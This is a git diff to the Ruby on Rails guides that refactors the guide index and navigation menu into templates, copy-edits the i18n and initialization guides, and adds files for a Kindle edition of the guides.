+human_attribute_name+ use translations for model names and attribute names if available in the "activerecord.models":https://github.com/rails/rails/blob/master/activerecord/lib/active_record/locale/en.yml#L29 scope. They also support translations for inherited class names (e.g. for use with STI) as explained above in "Error message scopes". -* +ActiveRecord::Errors#generate_message+ (which is used by Active Record validations but may also be used manually) uses +model_name.human+ and +human_attribute_name+ (see above). It also translates the error message and supports translations for inherited class names as explained above in "Error message scopes". +* +ActiveModel::Errors#generate_message+ (which is used by Active Model validations but may also be used manually) uses +model_name.human+ and +human_attribute_name+ (see above). It also translates the error message and supports translations for inherited class names as explained above in "Error message scopes". -*+ ActiveRecord::Errors#full_messages+ prepends the attribute name to the error message using a separator that will be looked up from "activerecord.errors.format.separator":https://github.com/rails/rails/blob/master/actionpack/lib/action_view/locale/en.yml#L91 (and which defaults to +' '+). +* +ActiveModel::Errors#full_messages+ prepends the attribute name to the error message using a separator that will be looked up from "errors.format":https://github.com/rails/rails/blob/master/activemodel/lib/active_model/locale/en.yml#L4 (and which defaults to +"%{attribute} %{message}"+). h5. Active Support Methods diff --git a/railties/guides/source/index.html.erb b/railties/guides/source/index.html.erb index c9a8c4fa5c..5439459b42 100644 --- a/railties/guides/source/index.html.erb +++ b/railties/guides/source/index.html.erb @@ -3,189 +3,28 @@ Ruby on Rails Guides <% end %> <% content_for :header_section do %> -<h2>Ruby on Rails Guides (<%= ENV['RAILS_VERSION'] || 'edge' %>)</h2> - -<% if @edge %> -<p> - These are <b>Edge Guides</b>, based on the current - <a href="https://github.com/rails/rails/tree/master">master branch</a>. -</p> -<p> - If you are looking for the ones for the stable version please check - <a href="http://guides.rubyonrails.org">http://guides.rubyonrails.org</a> instead. -</p> -<% else %> -<p> - These are the new guides for Rails 3. The guides for Rails 2.3 are still available - at <a href="http://guides.rubyonrails.org/v2.3.11/">http://guides.rubyonrails.org/v2.3.11/</a>. -</p> -<% end %> -<p> - These guides are designed to make you immediately productive with Rails, - and to help you understand how all of the pieces fit together. -</p> - +<%= render 'welcome' %> <% end %> <% content_for :index_section do %> <div id="subCol"> <dl> + <dd class="kindle">Rails Guides are also available for the <%= link_to 'Kindle', 'https://kindle.amazon.com' %> +and <%= link_to 'Free Kindle Reading Apps', 'http://www.amazon.com/gp/kindle/kcp' %> for the iPad, +iPhone, Mac, Android, etc. Download them from <%= link_to 'here', @mobi %>. + </dd> <dd class="work-in-progress">Guides marked with this icon are currently being worked on. While they might still be useful to you, they may contain incomplete information and even errors. You can help by reviewing them and posting your comments and corrections to the author.</dd> </dl> </div> <% end %> -<h3>Start Here</h3> - -<dl> -<%= guide('Getting Started with Rails', 'getting_started.html') do %> - <p>Everything you need to know to install Rails and create your first application.</p> -<% end %> -</dl> - -<h3>Models</h3> - -<dl> -<%= guide("Rails Database Migrations", 'migrations.html') do %> - <p>This guide covers how you can use Active Record migrations to alter your database in a structured and organized manner.</p> -<% end %> - -<%= guide("Active Record Validations and Callbacks", 'active_record_validations_callbacks.html') do %> - <p>This guide covers how you can use Active Record validations and callbacks.</p> -<% end %> - -<%= guide("Active Record Associations", 'association_basics.html') do %> - <p>This guide covers all the associations provided by Active Record.</p> -<% end %> - -<%= guide("Active Record Query Interface", 'active_record_querying.html') do %> - <p>This guide covers the database query interface provided by Active Record.</p> -<% end %> -</dl> - -<h3>Views</h3> - -<dl> -<%= guide("Layouts and Rendering in Rails", 'layouts_and_rendering.html') do %> - <p>This guide covers the basic layout features of Action Controller and Action View, including rendering and redirecting, using content_for blocks, and working with partials.</p> -<% end %> - -<%= guide("Action View Form Helpers", 'form_helpers.html', :work_in_progress => true) do %> - <p>Guide to using built-in Form helpers.</p> -<% end %> -</dl> - -<h3>Controllers</h3> - -<dl> -<%= guide("Action Controller Overview", 'action_controller_overview.html') do %> - <p>This guide covers how controllers work and how they fit into the request cycle in your application. It includes sessions, filters, and cookies, data streaming, and dealing with exceptions raised by a request, among other topics.</p> -<% end %> - -<%= guide("Rails Routing from the Outside In", 'routing.html') do %> - <p>This guide covers the user-facing features of Rails routing. If you want to understand how to use routing in your own Rails applications, start here.</p> -<% end %> -</dl> - -<h3>Digging Deeper</h3> - -<dl> - -<%= guide("Active Support Core Extensions", 'active_support_core_extensions.html') do %> - <p>This guide documents the Ruby core extensions defined in Active Support.</p> -<% end %> - -<%= guide("Rails Internationalization API", 'i18n.html') do %> - <p>This guide covers how to add internationalization to your applications. Your application will be able to translate content to different languages, change pluralization rules, use correct date formats for each country and so on.</p> -<% end %> - -<%= guide("Action Mailer Basics", 'action_mailer_basics.html', :work_in_progress => true) do %> - <p>This guide describes how to use Action Mailer to send and receive emails.</p> -<% end %> - -<%= guide("Testing Rails Applications", 'testing.html', :work_in_progress => true) do %> - <p>This is a rather comprehensive guide to doing both unit and functional tests in Rails. It covers everything from "What is a test?" to the testing APIs. Enjoy.</p> -<% end %> - -<%= guide("Securing Rails Applications", 'security.html') do %> - <p>This guide describes common security problems in web applications and how to avoid them with Rails.</p> -<% end %> - -<%= guide("Debugging Rails Applications", 'debugging_rails_applications.html') do %> - <p>This guide describes how to debug Rails applications. It covers the different ways of achieving this and how to understand what is happening "behind the scenes" of your code.</p> -<% end %> - -<%= guide("Performance Testing Rails Applications", 'performance_testing.html') do %> - <p>This guide covers the various ways of performance testing a Ruby on Rails application.</p> -<% end %> - -<%= guide("Configuring Rails Applications", 'configuring.html') do %> - <p>This guide covers the basic configuration settings for a Rails application.</p> -<% end %> - -<%= guide("Rails Command Line Tools and Rake tasks", 'command_line.html') do %> - <p>This guide covers the command line tools and rake tasks provided by Rails.</p> -<% end %> - -<%= guide("Caching with Rails", 'caching_with_rails.html', :work_in_progress => true) do %> - <p>Various caching techniques provided by Rails.</p> -<% end %> - -<%= guide('Asset Pipeline', 'asset_pipeline.html') do %> - <p>This guide documents the asset pipeline.</p> -<% end %> -</dl> - -<h3>Extending Rails</h3> - -<dl> - <%= guide("The Basics of Creating Rails Plugins", 'plugins.html', :work_in_progress => true) do %> - <p>This guide covers how to build a plugin to extend the functionality of Rails.</p> - <% end %> - - <%= guide("Rails on Rack", 'rails_on_rack.html') do %> - <p>This guide covers Rails integration with Rack and interfacing with other Rack components.</p> - <% end %> - - <%= guide("Creating and Customizing Rails Generators", 'generators.html') do %> - <p>This guide covers the process of adding a brand new generator to your extension - or providing an alternative to an element of a built-in Rails generator (such as - providing alternative test stubs for the scaffold generator).</p> - <% end %> -</dl> - -<h3>Contributing to Ruby on Rails</h3> - -<dl> - <%= guide("Contributing to Ruby on Rails", 'contributing_to_ruby_on_rails.html') do %> - <p>Rails is not "somebody else's framework." This guide covers a variety of ways that you can get involved in the ongoing development of Rails.</p> - <% end %> - - <%= guide('API Documentation Guidelines', 'api_documentation_guidelines.html') do %> - <p>This guide documents the Ruby on Rails API documentation guidelines.</p> - <% end %> - - <%= guide('Ruby on Rails Guides Guidelines', 'ruby_on_rails_guides_guidelines.html') do %> - <p>This guide documents the Ruby on Rails guides guidelines.</p> - <% end %> -</dl> - -<h3>Release Notes</h3> - -<dl> -<%= guide("Ruby on Rails 3.1 Release Notes", '3_1_release_notes.html') do %> - <p>Release notes for Rails 3.1.</p> -<% end %> - -<%= guide("Ruby on Rails 3.0 Release Notes", '3_0_release_notes.html') do %> - <p>Release notes for Rails 3.0.</p> -<% end %> - -<%= guide("Ruby on Rails 2.3 Release Notes", '2_3_release_notes.html') do %> - <p>Release notes for Rails 2.3.</p> -<% end %> - -<%= guide("Ruby on Rails 2.2 Release Notes", '2_2_release_notes.html') do %> - <p>Release notes for Rails 2.2.</p> +<% documents_by_section.each do |section| %> + <h3><%= section['name'] %></h3> + <dl> + <% section['documents'].each do |document| %> + <%= guide(document['name'], document['url'], :work_in_progress => document['work_in_progress']) do %> + <p><%= document['description'] %></p> + <% end %> + <% end %> + </dl> <% end %> -</dl> diff --git a/railties/guides/source/initialization.textile b/railties/guides/source/initialization.textile index 8aabc3ae91..5ae9cf0f2b 100644 --- a/railties/guides/source/initialization.textile +++ b/railties/guides/source/initialization.textile @@ -7,7 +7,7 @@ This guide explains the internals of the initialization process in Rails as of R endprologue. -This guide goes through every single file, class and method call that is required to boot up the Ruby on Rails stack for a default Rails 3.1 application, explaining each part in detail a long the way. For this guide, we will be focusing on how the two most common methods (+rails server+ and Passenger) boot a Rails application. +This guide goes through every single file, class and method call that is required to boot up the Ruby on Rails stack for a default Rails 3.1 application, explaining each part in detail along the way. For this guide, we will be focusing on how the two most common methods (+rails server+ and Passenger) boot a Rails application. NOTE: Paths in this guide are relative to Rails or a Rails application unless otherwise specified. @@ -17,7 +17,7 @@ As of Rails 3, +script/server+ has become +rails server+. This was done to centr h4. +bin/rails+ -The actual +rails+ command is kept in _bin/rails_ at the and goes like this: +The actual +rails+ command is kept in _bin/rails_: <ruby> #!/usr/bin/env ruby @@ -31,7 +31,7 @@ rescue LoadError end </ruby> -This file will attempt to load +rails/cli+ and if it cannot find it then add the +railties/lib+ path to the load path (+$:+) and will then try to require it again. +This file will attempt to load +rails/cli+. If it cannot find it then +railties/lib+ is added to the load path (+$:+) before retrying. h4. +railties/lib/rails/cli.rb+ @@ -56,7 +56,7 @@ else end </ruby> -The +rbconfig+ file here is out of Ruby's standard library and provides us with the +RbConfig+ class which contains useful information dependent on how Ruby was compiled. We'll see this in use in +railties/lib/rails/script_rails_loader+. +The +rbconfig+ file from the Ruby standard library provides us with the +RbConfig+ class which contains detailed information about the Ruby environment, including how Ruby was compiled. We can see this in use in +railties/lib/rails/script_rails_loader+. <ruby> require 'pathname' @@ -71,7 +71,7 @@ module Rails end </ruby> -The +rails/script_rails_loader+ file uses +RbConfig::Config+ to gather up the +bin_dir+ and +ruby_install_name+ values for the configuration which will result in a path such as +/System/Library/Frameworks/Ruby.framework/Versions/1.8/usr/bin/ruby+, which is the default path on Mac OS X. If you're running Windows the path may be something such as +C:/Ruby192/bin/ruby+. Anyway, the path on your system may be different, but the point of this is that it will point at the known ruby executable location for your install. The +RbConfig::CONFIG["EXEEXT"]+ will suffix this path with ".exe" if the script is running on Windows. This constant is used later on in +exec_script_rails!+. As for the +SCRIPT_RAILS+ constant, we'll see that when we get to the +in_rails_application?+ method. +The +rails/script_rails_loader+ file uses +RbConfig::Config+ to obtain the +bin_dir+ and +ruby_install_name+ values for the configuration which together form the path to the Ruby interpreter. The +RbConfig::CONFIG["EXEEXT"]+ will suffix this path with ".exe" if the script is running on Windows. This constant is used later on in +exec_script_rails!+. As for the +SCRIPT_RAILS+ constant, we'll see that when we get to the +in_rails_application?+ method. Back in +rails/cli+, the next line is this: @@ -79,7 +79,7 @@ Back in +rails/cli+, the next line is this: Rails::ScriptRailsLoader.exec_script_rails! </ruby> -This method is defined in +rails/script_rails_loader+ like this: +This method is defined in +rails/script_rails_loader+: <ruby> def self.exec_script_rails! @@ -96,7 +96,7 @@ rescue SystemCallError end </ruby> -This method will first check if the current working directory (+cwd+) is a Rails application or is a subdirectory of one. The way to determine this is defined in the +in_rails_application?+ method like this: +This method will first check if the current working directory (+cwd+) is a Rails application or a subdirectory of one. This is determined by the +in_rails_application?+ method: <ruby> def self.in_rails_application? @@ -104,7 +104,7 @@ def self.in_rails_application? end </ruby> -The +SCRIPT_RAILS+ constant defined earlier is used here, with +File.exists?+ checking for its presence in the current directory. If this method returns +false+, then +in_rails_application_subdirectory?+ will be used: +The +SCRIPT_RAILS+ constant defined earlier is used here, with +File.exists?+ checking for its presence in the current directory. If this method returns +false+ then +in_rails_application_subdirectory?+ will be used: <ruby> def self.in_rails_application_subdirectory?(path = Pathname.new(Dir.pwd)) @@ -112,17 +112,17 @@ def self.in_rails_application_subdirectory?(path = Pathname.new(Dir.pwd)) end </ruby> -This climbs the directory tree until it reaches a path which contains a +script/rails+ file. If a directory is reached which contains this file then this line will run: +This climbs the directory tree until it reaches a path which contains a +script/rails+ file. If a directory containing this file is reached then this line will run: <ruby> exec RUBY, SCRIPT_RAILS, *ARGV if in_rails_application? </ruby> -This is effectively the same as doing +ruby script/rails [arguments]+. Where +[arguments]+ at this point in time is simply "server". +This is effectively the same as running +ruby script/rails [arguments]+, where +[arguments]+ at this point in time is simply "server". h4. +script/rails+ -This file looks like this: +This file is as follows: <ruby> APP_PATH = File.expand_path('../../config/application', __FILE__) @@ -130,7 +130,7 @@ require File.expand_path('../../config/boot', __FILE__) require 'rails/commands' </ruby> -The +APP_PATH+ constant here will be used later in +rails/commands+. The +config/boot+ file that +script/rails+ references is the +config/boot.rb+ file in our application which is responsible for loading Bundler and setting it up. +The +APP_PATH+ constant will be used later in +rails/commands+. The +config/boot+ file referenced here is the +config/boot.rb+ file in our application which is responsible for loading Bundler and setting it up. h4. +config/boot.rb+ @@ -243,7 +243,7 @@ In this file there are a lot of lines such as this inside the +ActiveSupport+ mo autoload :Inflector </ruby> -Due to the overriding of the +autoload+ method, Ruby will know to look for this file at +activesupport/lib/active_support/inflector.rb+ when the +Inflector+ class is first referenced. +Due to the overriding of the +autoload+ method, Ruby will know how to look for this file at +activesupport/lib/active_support/inflector.rb+ when the +Inflector+ class is first referenced. The +active_support/lib/active_support/version.rb+ that is also required here simply defines an +ActiveSupport::VERSION+ constant which defines a couple of constants inside this module, the main constant of this is +ActiveSupport::VERSION::STRING+ which returns the current version of ActiveSupport. @@ -450,7 +450,7 @@ run YourApp::Application The +Rack::Builder.parse_file+ method here takes the content from this +config.ru+ file and parses it using this code: <ruby> -app = eval "Rack::Builder.new {( " + cfgfile + "\n )}.to_app", +app = eval "Rack::Builder.new {( " <plus> cfgfile <plus> "\n )}.to_app", TOPLEVEL_BINDING, config </ruby> @@ -525,19 +525,19 @@ silence_warnings do end </ruby> -These methods can be used to silence STDERR responses and the +silence_stream+ allows you to also silence other streams. Additionally, this mixin allows you to suppress exceptions and capture streams. For more information see the "Silencing Warnings, Streams, and Exceptions":http://guides.rubyonrails.org/active_support_core_extensions.html#silencing-warnings-streams-and-exceptions section from the Active Support Core Extensions Guide. +These methods can be used to silence STDERR responses and the +silence_stream+ allows you to also silence other streams. Additionally, this mixin allows you to suppress exceptions and capture streams. For more information see the "Silencing Warnings, Streams, and Exceptions":active_support_core_extensions.html#silencing-warnings-streams-and-exceptions section from the Active Support Core Extensions Guide. h4. +active_support/core_ext/logger.rb+ The next file that is required is another Active Support core extension, this time to the +Logger+ class. This begins by defining the +around_[level]+ helpers for the +Logger+ class as well as other methods such as a +datetime_format+ getter and setter for the +formatter+ object tied to a +Logger+ object. -For more information see the "Extensions to Logger":http://guides.rubyonrails.org/active_support_core_extensions.html#extensions-to-logger section from the Active Support Core Extensions Guide. +For more information see the "Extensions to Logger":active_support_core_extensions.html#extensions-to-logger section from the Active Support Core Extensions Guide. h4. +railties/lib/rails/application.rb+ The next file required by +railties/lib/rails.rb+ is +application.rb+. This file defines the +Rails::Application+ constant which the application's class defined in +config/application.rb+ in a standard Rails application depends on. Before the +Rails::Application+ class is defined however, there's some other files that get required first. -The first of these is +active_support/core_ext/hash/reverse_merge+ which can be "read about in the Active Support Core Extensions guide":http://guides.rubyonrails.org/active_support_core_extensions.html#merging under the "Merging" section. +The first of these is +active_support/core_ext/hash/reverse_merge+ which can be "read about in the Active Support Core Extensions guide":active_support_core_extensions.html#merging under the "Merging" section. h4. +active_support/file_update_checker.rb+ @@ -575,7 +575,7 @@ Now that +rails/initializable.rb+ has finished being required from +rails/railti h4. +railties/lib/rails/configuration.rb+ -This file defines the +Rails::Configuration+ module, containing the +MiddlewareStackProxy+ class as well as the +Generators+ class. The +MiddlewareStackProxy+ class is used for managing the middleware stack for an application, which we'll see later on. The +Generators+ class provides the functionality used for configuring what generators an application uses through the "+config.generators+ option":http://guides.rubyonrails.org/configuring.html#configuring-generators. +This file defines the +Rails::Configuration+ module, containing the +MiddlewareStackProxy+ class as well as the +Generators+ class. The +MiddlewareStackProxy+ class is used for managing the middleware stack for an application, which we'll see later on. The +Generators+ class provides the functionality used for configuring what generators an application uses through the "+config.generators+ option":configuring.html#configuring-generators. The first file required in this file is +activesupport/deprecation+. @@ -598,11 +598,11 @@ This file defines the +ActiveSupport::Notifications+ module. Notifications provi The "API documentation":http://api.rubyonrails.org/classes/ActiveSupport/Notifications.html for +ActiveSupport::Notifications+ explains the usage of this module, including the methods that it defines. -The file required in +active_support/notifications.rb+ is +active_support/core_ext/module/delegation+ which is documented in the "Active Support Core Extensions Guide":http://guides.rubyonrails.org/active_support_core_extensions.html#method-delegation. +The file required in +active_support/notifications.rb+ is +active_support/core_ext/module/delegation+ which is documented in the "Active Support Core Extensions Guide":active_support_core_extensions.html#method-delegation. h4. +activesupport/core_ext/array/wrap+ -As this file comprises of a core extension, it is covered exclusively in "the Active Support Core Extensions guide":http://guides.rubyonrails.org/active_support_core_extensions.html#wrapping +As this file comprises of a core extension, it is covered exclusively in "the Active Support Core Extensions guide":active_support_core_extensions.html#wrapping h4. +activesupport/lib/active_support/deprecation/reporting.rb+ @@ -624,7 +624,7 @@ h4. +active_support/ordered_options+ This file is the next file required from +rails/configuration.rb+ is the file that defines +ActiveSupport::OrderedOptions+ which is used for configuration options such as +config.active_support+ and the like. -The next file required is +active_support/core_ext/hash/deep_dup+ which is covered in "Active Support Core Extensions guide":http://guides.rubyonrails.org/active_support_core_extensions.html#deep_dup +The next file required is +active_support/core_ext/hash/deep_dup+ which is covered in "Active Support Core Extensions guide":active_support_core_extensions.html#deep_dup The file that is required next from is +rails/paths+ @@ -682,7 +682,7 @@ When the module from this file (+Rails::Initializable+) is included, it extends h4. +railties/lib/rails/engine.rb+ -The next file required in +rails/engine.rb+ is +active_support/core_ext/module/delegation+ which is documented in the "Active Support Core Extensions Guide":http://guides.rubyonrails.org/active_support_core_extensions.html#method-delegation. +The next file required in +rails/engine.rb+ is +active_support/core_ext/module/delegation+ which is documented in the "Active Support Core Extensions Guide":active_support_core_extensions.html#method-delegation. The next two files after this are Ruby standard library files: +pathname+ and +rbconfig+. The file after these is +rails/engine/railties+. @@ -698,7 +698,7 @@ Once this file has finished loading we jump back to +railties/lib/rails/plugin.r h4. Back to +railties/lib/rails/plugin.rb+ -The next file required in this is a core extension from Active Support called +array/conversions+ which is covered in "this section":http://guides.rubyonrails.org/active_support_core_extensions.html#array-conversions of the Active Support Core Extensions Guide. +The next file required in this is a core extension from Active Support called +array/conversions+ which is covered in "this section":active_support_core_extensions.html#array-conversions of the Active Support Core Extensions Guide. Once that file has finished loading, the +Rails::Plugin+ class is defined. @@ -817,7 +817,7 @@ def initializer(name, opts = {}, &blk) end </ruby> -An initializer can be configured to run before or after another initializer, which we'll see a couple of times throughout this initialization process. Anything that inherits from +Rails::Railtie+ may also make use of the +initializer+ method, something which is covered in the "Configuration guide":[http://ryanbigg.com/guides/configuring.html#rails-railtie-initializer]. +An initializer can be configured to run before or after another initializer, which we'll see a couple of times throughout this initialization process. Anything that inherits from +Rails::Railtie+ may also make use of the +initializer+ method, something which is covered in the "Configuration guide":configuring.html#rails-railtie-initializer. The +Initializer+ class here is defined within the +Rails::Initializable+ module and its +initialize+ method is defined to just set up a couple of variables: diff --git a/railties/guides/source/kindle/KINDLE.md b/railties/guides/source/kindle/KINDLE.md new file mode 100644 index 0000000000..a7d9a4e4cf --- /dev/null +++ b/railties/guides/source/kindle/KINDLE.md @@ -0,0 +1,26 @@ +# Rails Guides on the Kindle + + +## Synopsis + + 1. Obtain `kindlegen` from the link below and put the binary in your path + 2. Run `KINDLE=1 rake generate_guides` to generate the guides and compile the `.mobi` file + 3. Copy `output/kindle/rails_guides.mobi` to your Kindle + +## Resources + + * [StackOverflow: Kindle Periodical Format](http://stackoverflow.com/questions/5379565/kindle-periodical-format) + * Example Periodical [.ncx](https://gist.github.com/808c971ed087b839d462) and [.opf](https://gist.github.com/d6349aa8488eca2ee6d0) + * [Kindle Publishing guidelines](http://kindlegen.s3.amazonaws.com/AmazonKindlePublishingGuidelines.pdf) + * [KindleGen & Kindle Previewer](http://www.amazon.com/gp/feature.html?ie=UTF8&docId=1000234621) + +## TODO + +### Post release + + * Integrate generated Kindle document in to published HTML guides + * Tweak heading styles (most docs use h3/h4/h5, which end up being smaller than the text under it) + * Tweak table styles (smaller text? Many of the tables are unusable on a Kindle in portrait mode) + * Have the HTML/XML TOC 'drill down' into the TOCs of the individual guides + * `.epub` generation. + diff --git a/railties/guides/source/kindle/copyright.html.erb b/railties/guides/source/kindle/copyright.html.erb new file mode 100644 index 0000000000..bd51d87383 --- /dev/null +++ b/railties/guides/source/kindle/copyright.html.erb @@ -0,0 +1 @@ +<%= render 'license' %>
\ No newline at end of file diff --git a/railties/guides/source/kindle/layout.html.erb b/railties/guides/source/kindle/layout.html.erb new file mode 100644 index 0000000000..f0a286210b --- /dev/null +++ b/railties/guides/source/kindle/layout.html.erb @@ -0,0 +1,27 @@ +<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" + "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd"> + +<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en"> +<head> +<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/> + +<title><%= yield(:page_title) || 'Ruby on Rails Guides' %></title> + +<link rel="stylesheet" type="text/css" href="stylesheets/kindle.css" /> + +</head> +<body class="guide"> + + <% if content_for? :header_section %> + <%= yield :header_section %> + <div class="pagebreak"> + <% end %> + + <% if content_for? :index_section %> + <%= yield :index_section %> + <div class="pagebreak"> + <% end %> + + <%= yield.html_safe %> +</body> +</html> diff --git a/railties/guides/source/kindle/rails_guides.opf.erb b/railties/guides/source/kindle/rails_guides.opf.erb new file mode 100644 index 0000000000..4e07664fd0 --- /dev/null +++ b/railties/guides/source/kindle/rails_guides.opf.erb @@ -0,0 +1,52 @@ +<?xml version="1.0" encoding="utf-8"?> + +<package xmlns="http://www.idpf.org/2007/opf" version="2.0" unique-identifier="RailsGuides"> +<metadata> + <meta name="cover" content="cover" /> + <dc-metadata xmlns:dc="http://purl.org/dc/elements/1.1/"> + + <dc:title>Ruby on Rails Guides (<%= @version %>)</dc:title> + + <dc:language>en-us</dc:language> + <dc:creator>Ruby on Rails</dc:creator> + <dc:publisher>Ruby on Rails</dc:publisher> + <dc:subject>Reference</dc:subject> + <dc:date><%= Time.now.strftime('%Y-%m-%d') %></dc:date> + + <dc:description>These guides are designed to make you immediately productive with Rails, and to help you understand how all of the pieces fit together.</dc:description> + </dc-metadata> + <x-metadata> + <output content-type="application/x-mobipocket-subscription-magazine" encoding="utf-8"/> + </x-metadata> +</metadata> + +<manifest> + <!-- HTML content files [mandatory] --> + <% documents_flat.each do |document| %> + <item id="<%= document['url'] %>" media-type="text/html" href="<%= document['url'] %>" /> + <% end %> + + <% %w{toc.html credits.html welcome.html copyright.html}.each do |url| %> + <item id="<%= url %>" media-type="text/html" href="<%= url %>" /> + <% end %> + + <item id="toc" media-type="application/x-dtbncx+xml" href="toc.ncx" /> + + <item id="cover" media-type="image/jpeg" href="images/rails_guides_kindle_cover.jpg"/> +</manifest> + +<spine toc="toc"> + <itemref idref="toc.html" /> + <itemref idref="welcome.html" /> + <itemref idref="credits.html" /> + <itemref idref="copyright.html" /> + <% documents_flat.each do |document| %> + <itemref idref="<%= document['url'] %>" /> + <% end %> +</spine> + +<guide> + <reference type="toc" title="Table of Contents" href="toc.html"></reference> +</guide> + +</package> diff --git a/railties/guides/source/kindle/toc.html.erb b/railties/guides/source/kindle/toc.html.erb new file mode 100644 index 0000000000..e013797dee --- /dev/null +++ b/railties/guides/source/kindle/toc.html.erb @@ -0,0 +1,24 @@ +<% content_for :page_title do %> +Ruby on Rails Guides +<% end %> + +<h1>Table of Contents</h1> +<div id="toc"> + <ul><li><a href="welcome.html">Welcome</a></li></ul> +<% documents_by_section.each_with_index do |section, i| %> + <h3><%= "#{i + 1}." %> <%= section['name'] %></h3> + <ul> + <% section['documents'].each do |document| %> + <li> + <a href="<%= document['url'] %>"><%= document['name'] %></a> + <% if document['work_in_progress']%>(WIP)<% end %> + </li> + <% end %> + </ul> +<% end %> +<hr /> +<ul> + <li><a href="credits.html">Credits</a></li> + <li><a href="copyright.html">Copyright & License</a></li> +<ul> +</div> diff --git a/railties/guides/source/kindle/toc.ncx.erb b/railties/guides/source/kindle/toc.ncx.erb new file mode 100644 index 0000000000..2c6d8e3bdf --- /dev/null +++ b/railties/guides/source/kindle/toc.ncx.erb @@ -0,0 +1,64 @@ +<?xml version="1.0" encoding="UTF-8"?> +<!DOCTYPE ncx PUBLIC "-//NISO//DTD ncx 2005-1//EN" + "http://www.daisy.org/z3986/2005/ncx-2005-1.dtd"> + +<ncx xmlns="http://www.daisy.org/z3986/2005/ncx/" version="2005-1" xml:lang="en-US"> +<head> + <meta name="dtb:uid" content="RailsGuides"/> + <meta name="dtb:depth" content="2"/> + <meta name="dtb:totalPageCount" content="0"/> + <meta name="dtb:maxPageNumber" content="0"/> +</head> +<docTitle><text>Ruby on Rails Guides</text></docTitle> +<docAuthor><text>docrails</text></docAuthor> +<navMap> + <navPoint playOrder="0" class="periodical" id="periodical"> + <navLabel> + <text>Table of Contents</text> + </navLabel> + <content src="toc.html"/> + + <navPoint class="section" id="welcome" playOrder="1"> + <navLabel> + <text>Introduction</text> + </navLabel> + <content src="welcome.html"/> + + <navPoint class="article" id="welcome" playOrder="2"> + <navLabel> + <text>Welcome</text> + </navLabel> + <content src="welcome.html"/> + </navPoint> + <navPoint class="article" id="credits" playOrder="3"> + <navLabel><text>Credits</text></navLabel> + <content src="credits.html"> + </navPoint> + <navPoint class="article" id="copyright" playOrder="4"> + <navLabel><text>Copyright & License</text></navLabel> + <content src="copyright.html"> + </navPoint> + </navPoint> + + <% play_order = 4 %> + <% documents_by_section.each_with_index do |section, section_no| %> + <navPoint class="section" id="chapter_<%= section_no + 1 %>" playOrder="<% play_order +=1 %>"> + <navLabel> + <text><%= section['name'] %></text> + </navLabel> + <content src="<%=section['documents'].first['url'] %>"/> + + <% section['documents'].each_with_index do |document, document_no| %> + <navPoint class="article" id="_<%=section_no+1%>.<%=document_no+1%>" playOrder="<%=play_order +=1 %>"> + <navLabel> + <text><%= document['name'] %></text> + </navLabel> + <content src="<%=document['url'] %>"/> + </navPoint> + <% end %> + </navPoint> + <% end %> + + </navPoint> +</navMap> +</ncx> diff --git a/railties/guides/source/kindle/welcome.html.erb b/railties/guides/source/kindle/welcome.html.erb new file mode 100644 index 0000000000..e30704c4e6 --- /dev/null +++ b/railties/guides/source/kindle/welcome.html.erb @@ -0,0 +1,5 @@ +<%= render 'welcome' %> + +<h3>Kindle Edition</h3> + +The Kindle Edition of the Rails Guides should be considered a work in progress. Feedback is really welcome, please see the "Feedback" section at the end of each guide for instructions. diff --git a/railties/guides/source/layout.html.erb b/railties/guides/source/layout.html.erb index 4c979888b7..35b6fc7014 100644 --- a/railties/guides/source/layout.html.erb +++ b/railties/guides/source/layout.html.erb @@ -38,57 +38,21 @@ <div id="header"> <div class="wrapper clearfix"> <h1><a href="index.html" title="Return to home page">Guides.rubyonrails.org</a></h1> - <p class="hide"><a href="#mainCol">Skip navigation</a>.</p> <ul class="nav"> <li><a href="index.html">Home</a></li> <li class="index"><a href="index.html" onclick="guideMenu(); return false;" id="guidesMenu">Guides Index</a> <div id="guides" class="clearfix" style="display: none;"> <hr /> - <dl class="L"> - <dt>Start Here</dt> - <dd><a href="getting_started.html">Getting Started with Rails</a></dd> - <dt>Models</dt> - <dd><a href="migrations.html">Rails Database Migrations</a></dd> - <dd><a href="active_record_validations_callbacks.html">Active Record Validations and Callbacks</a></dd> - <dd><a href="association_basics.html">Active Record Associations</a></dd> - <dd><a href="active_record_querying.html">Active Record Query Interface</a></dd> - <dt>Views</dt> - <dd><a href="layouts_and_rendering.html">Layouts and Rendering in Rails</a></dd> - <dd><a href="form_helpers.html">Action View Form Helpers</a></dd> - <dt>Controllers</dt> - <dd><a href="action_controller_overview.html">Action Controller Overview</a></dd> - <dd><a href="routing.html">Rails Routing from the Outside In</a></dd> - </dl> - <dl class="R"> - <dt>Digging Deeper</dt> - <dd><a href="active_support_core_extensions.html">Active Support Core Extensions</a></dd> - <dd><a href="i18n.html">Rails Internationalization API</a></dd> - <dd><a href="action_mailer_basics.html">Action Mailer Basics</a></dd> - <dd><a href="testing.html">Testing Rails Applications</a></dd> - <dd><a href="security.html">Securing Rails Applications</a></dd> - <dd><a href="debugging_rails_applications.html">Debugging Rails Applications</a></dd> - <dd><a href="performance_testing.html">Performance Testing Rails Applications</a></dd> - <dd><a href="configuring.html">Configuring Rails Applications</a></dd> - <dd><a href="command_line.html">Rails Command Line Tools and Rake Tasks</a></dd> - <dd><a href="caching_with_rails.html">Caching with Rails</a></dd> - <dd><a href="asset_pipeline.html">Asset Pipeline</a></dd> - - <dt>Extending Rails</dt> - <dd><a href="plugins.html">The Basics of Creating Rails Plugins</a></dd> - <dd><a href="rails_on_rack.html">Rails on Rack</a></dd> - <dd><a href="generators.html">Creating and Customizing Rails Generators</a></dd> - - <dt>Contributing to Ruby on Rails</dt> - <dd><a href="contributing_to_ruby_on_rails.html">Contributing to Ruby on Rails</a></dd> - <dd><a href="api_documentation_guidelines.html">API Documentation Guidelines</a></dd> - <dd><a href="ruby_on_rails_guides_guidelines.html">Ruby on Rails Guides Guidelines</a></dd> - - <dt>Release Notes</dt> - <dd><a href="3_1_release_notes.html">Ruby on Rails 3.1 Release Notes</a></dd> - <dd><a href="3_0_release_notes.html">Ruby on Rails 3.0 Release Notes</a></dd> - <dd><a href="2_3_release_notes.html">Ruby on Rails 2.3 Release Notes</a></dd> - <dd><a href="2_2_release_notes.html">Ruby on Rails 2.2 Release Notes</a></dd> - </dl> + <% ['L', 'R'].each do |position| %> + <dl class="<%= position %>"> + <% docs_for_menu(position).each do |section| %> + <dt><%= section['name'] %></dt> + 